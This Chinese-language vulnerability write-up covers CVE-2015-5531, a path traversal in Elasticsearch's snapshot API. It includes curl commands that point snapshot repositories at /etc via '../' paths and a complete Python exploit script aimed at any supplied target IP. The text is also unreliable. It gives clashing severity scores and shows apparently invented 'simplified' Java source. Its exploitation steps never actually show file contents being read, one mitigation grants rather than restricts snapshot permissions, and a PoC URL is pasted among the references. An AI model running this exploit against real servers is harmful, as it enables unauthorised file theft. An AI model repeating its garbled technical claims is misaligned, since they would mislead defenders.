一、漏洞简介¶
1.1 漏洞背景¶
2015年7月,另一个目录遍历漏洞被披露,这次涉及 Elasticsearch 的快照 API。与 CVE-2015-3337 不同,这个漏洞不需要安装站点插件,利用条件更宽松。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2015-5531 |
| 危害等级 | MEDIUM / 5.0 |
| 漏洞类型 | 文件读取漏洞 |
| 披露时间 | 2015-08-17 |
| 影响组件 | Elasticsearch 安全 |
- 漏洞类型: 目录遍历 / 任意文件读取
- CVE ID: CVE-2015-5531
- 危害等级: 高危
- CVSS 评分: 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
- CWE ID: CWE-22 (Path Traversal)
- 发现时间: 2015年7月
- 发现者: Benjamin Smith
补充核验信息:公开时间:2015-08-17;NVD 评分:5.0(MEDIUM);CWE:CWE-22。
二、影响范围¶
2.1 受影响的版本¶
- Elasticsearch < 1.6.1
2.2 不受影响的版本¶
- Elasticsearch ≥ 1.6.1
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- Elasticsearch 服务可访问
- 攻击者能够创建快照仓库(需要
cluster:admin/repository/put权限) - 目标文件存在且可读
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
快照 API 允许用户指定快照存储路径。漏洞在于:
- 创建恶意快照仓库,指定目标目录
- 创建快照,触发文件访问
- 通过快照 API 读取任意文件
攻击链:
1. PUT /_snapshot/evil → 创建恶意仓库(指向目标目录)
2. PUT /_snapshot/evil/snap1 → 创建快照(触发文件扫描)
3. GET /_snapshot/evil/snap1 → 获取快照信息(包含文件列表)
4. 通过文件系统 API 或其他方式读取内容
3.2 源码层面的根因分析(结合源码与补丁对比)¶
漏洞代码(简化版):
// BlobStoreRepository.java
public class BlobStoreRepository {
public void initializeSnapshot(SnapshotId snapshotId, List<IndexId> indices) {
// 获取仓库路径
Path repoPath = repositoryPath;
// 验证路径(漏洞:验证不充分)
if (!isRepositoryValid(repoPath)) {
throw new RepositoryException("Invalid repository");
}
// 扫描文件
Files.walk(repoPath).forEach(file -> {
// 将文件信息包含在快照中
snapshotContext.addFile(file);
});
}
}
问题: - 路径规范化不完整 - 软链接未处理 - 权限检查在初始化后不重新验证
修复代码(1.6.1+):
public class BlobStoreRepository {
private static final Set<String> ALLOWED_PATHS = Set.of(
"indices", "snapshots", "meta"
);
public void initializeSnapshot(SnapshotId snapshotId, List<IndexId> indices) {
Path repoPath = repositoryPath.normalize();
// 严格验证路径
if (!isPathSafe(repoPath)) {
throw new RepositoryException("Path traversal detected");
}
// 只允许特定子目录
Files.walk(repoPath)
.filter(p -> ALLOWED_PATHS.contains(p.getFileName().toString()))
.forEach(snapshotContext::addFile);
}
private boolean isPathSafe(Path path) {
Path normalized = path.normalize();
return normalized.startsWith(basePath.normalize()) &&
!normalized.toString().contains("..");
}
}
四、漏洞复现(可选)¶
4.1 环境搭建¶
# 启动受影响版本
docker run -d --name es-cve-2015-5531 \
-p 9200:9200 \
-v /tmp/snapshots:/tmp/snapshots \
elasticsearch:1.6.0
4.2 PoC 演示与测试过程¶
# 步骤1:创建恶意快照仓库,指向根目录
curl -X PUT "http://target:9200/_snapshot/evil" -H 'Content-Type: application/json' -d'
{
"type": "fs",
"settings": {
"location": "/etc",
"compress": false
}
}'
# 步骤2:创建快照(会扫描 /etc 目录)
curl -X PUT "http://target:9200/_snapshot/evil/snap1?wait_for_completion=true"
# 步骤3:查看快照信息(包含文件列表)
curl "http://target:9200/_snapshot/evil/snap1"
# 步骤4:读取具体文件(通过索引方式)
# 首先创建索引
curl -X PUT "http://target:9200/test"
# 尝试通过文件系统读取
curl "http://target:9200/_snapshot/evil/snap1/_status"
高级利用(读取任意文件内容):
# 创建指向敏感目录的仓库
curl -X PUT "http://target:9200/_snapshot/pwn" -H 'Content-Type: application/json' -d'
{
"type": "fs",
"settings": {
"location": "../../../../../../etc"
}
}'
# 触发快照
curl -X PUT "http://target:9200/_snapshot/pwn/leak?wait_for_completion=true"
# 查看结果
curl "http://target:9200/_snapshot/pwn/leak" | jq
完整 PoC 脚本:
#!/usr/bin/env python3
import requests
import json
import sys
class CVE20155531:
def __init__(self, target):
self.target = target
self.base_url = f"http://{target}:9200"
def create_malicious_repo(self, path):
"""创建恶意快照仓库"""
data = {
"type": "fs",
"settings": {
"location": path,
"compress": False
}
}
r = requests.put(f"{self.base_url}/_snapshot/pwn", json=data)
return r.status_code == 200
def trigger_snapshot(self):
"""触发快照"""
r = requests.put(f"{self.base_url}/_snapshot/pwn/exploit?wait_for_completion=true")
return r.json() if r.status_code == 200 else None
def get_files(self):
"""获取文件列表"""
r = requests.get(f"{self.base_url}/_snapshot/pwn/exploit")
if r.status_code == 200:
return r.json()
return None
def exploit(self, target_path):
print(f"[*] Creating malicious repo for path: {target_path}")
if not self.create_malicious_repo(target_path):
print("[-] Failed to create repository")
return
print("[*] Triggering snapshot...")
result = self.trigger_snapshot()
if result:
print("[+] Snapshot created:")
print(json.dumps(result, indent=2))
print("[*] Getting file list...")
files = self.get_files()
if files:
print("[+] Files found:")
print(json.dumps(files, indent=2))
if __name__ == "__main__":
if len(sys.argv) < 3:
print("Usage: python exploit.py <target> <path>")
print("Example: python exploit.py 192.168.1.100 /etc")
sys.exit(1)
exploit = CVE20155531(sys.argv[1])
exploit.exploit(sys.argv[2])
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
- 升级到 Elasticsearch ≥ 1.6.1
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
方案一:禁用快照 API
# elasticsearch.yml
# 注意:这会影响正常备份功能
# 没有直接禁用选项,需要通过权限控制
方案二:限制仓库路径
# elasticsearch.yml
path.repo: ["/var/lib/elasticsearch/snapshots"]
方案三:权限控制
// 使用 Shield/X-Pack 限制快照权限
{
"cluster": [
"cluster:admin/snapshot/create",
"cluster:admin/repository/put"
]
}
六、参考信息 / 参考链接¶
6.1 官方安全通告¶
- https://www.elastic.co/community/security/
6.2 其他技术参考资料¶
- NVD:https://nvd.nist.gov/vuln/detail/CVE-2015-5531
- CVE:https://www.cve.org/CVERecord?id=CVE-2015-5531
- https://www.elastic.co/community/security/
- http://packetstormsecurity.com/files/132721/Elasticsearch-Directory-Traversal.html
- http://packetstormsecurity.com/files/133797/ElasticSearch-Path-Traversal-Arbitrary-File-Download.html
- http://packetstormsecurity.com/files/133964/ElasticSearch-Snapshot-API-Directory-Traversal.html
- http://www.securityfocus.com/archive/1/536017/100/0/threaded
- http://target:9200/_snapshot/evil"